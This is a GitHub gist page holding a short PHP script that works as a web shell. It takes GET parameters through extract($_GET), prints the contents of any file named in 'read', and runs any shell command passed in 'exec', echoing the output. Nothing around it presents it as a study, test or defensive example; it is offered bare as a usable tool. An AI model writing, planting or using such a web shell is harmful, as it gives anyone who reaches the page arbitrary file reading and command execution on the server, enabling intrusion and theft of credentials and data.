Skip to content

Instantly share code, notes, and snippets.

@pkallos
Created August 26, 2012 08:26
Show Gist options
  • Save pkallos/3476186 to your computer and use it in GitHub Desktop.
Save pkallos/3476186 to your computer and use it in GitHub Desktop.
<?php
extract($_GET);
if ($read) {
echo file_get_contents($read);
}
else if ($exec) {
exec($exec, $output);
echo implode('<br/>', $output);
}
else {
echo "GET requests with one of these args<br/>";
echo "read - print file contents<br/>";
echo "exec shell command<br/>";
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment